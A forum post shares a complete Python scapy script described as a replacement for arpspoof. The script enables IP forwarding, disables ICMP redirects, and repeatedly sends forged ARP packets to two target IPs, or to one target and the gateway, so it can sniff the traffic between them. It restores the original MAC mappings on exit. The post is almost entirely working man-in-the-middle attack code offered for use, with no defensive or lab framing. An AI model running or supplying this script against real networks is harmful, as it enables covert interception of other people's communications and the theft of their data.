View Single Post
Posts: 19 | Thanked: 16 times | Joined on Sep 2010
#22
For replace arpspoof I developed a simple scapy script. I hope is usefull.
I need to improve it. It takes 2 arguments, 2 ip for sniff packets between them. With one ip it sniff packets beetween the ip and the gateway of the network.

Code:
#!/usr/bin/env python

import os
import sys
import time
from scapy.all import sendp,Ether,ARP,conf,getmacbyip,get_if_hwaddr

conf.verb = 0

# Disable ICMP Redirects
f = open('/proc/sys/net/ipv4/conf/' + conf.iface + '/send_redirects','w')
f.write('0')
f.close()

# Forward packets
f = open('/proc/sys/net/ipv4/ip_forward','w')
f.write('1')
f.close()
 
# Target's details
sIP1 = sys.argv[1]
sMAC1 = getmacbyip(sIP1)

if len(sys.argv) > 2:
    sIP2 = sys.argv[2]
else:
    # Get GW
    sIP2 = conf.route.route("0.0.0.0")[2]
sMAC2 = getmacbyip(sIP2)

sMyMac = get_if_hwaddr(conf.iface)
 
# Time between ARP packets
sleep_time = 3

# Construct the Arp packet and Ethernet frame
objARP1 = ARP(hwsrc=sMyMac, pdst=sIP1, psrc=sIP2, op=1)
objFrame1 = Ether(dst=sMAC1)

objARP2 = ARP(hwsrc=sMyMac, pdst=sIP2, psrc=sIP1, op=1)
objFrame2 = Ether(dst=sMAC2)

try:
    while True:
        # Send the packet
        sendp(objFrame1 / objARP1)
        sendp(objFrame2 / objARP2)
        os.write(1,'.')
        # Wait for the specified time
        time.sleep(sleep_time)
except KeyboardInterrupt:
    # Restore original MAC
    objARP1.hwsrc = sMAC2
    objARP2.hwsrc = sMAC1
    sendp(objFrame1 / objARP1)
    sendp(objFrame2 / objARP2)
    os.write(1,"\n")
    pass
 

The Following 6 Users Say Thank You to peppino For This Useful Post: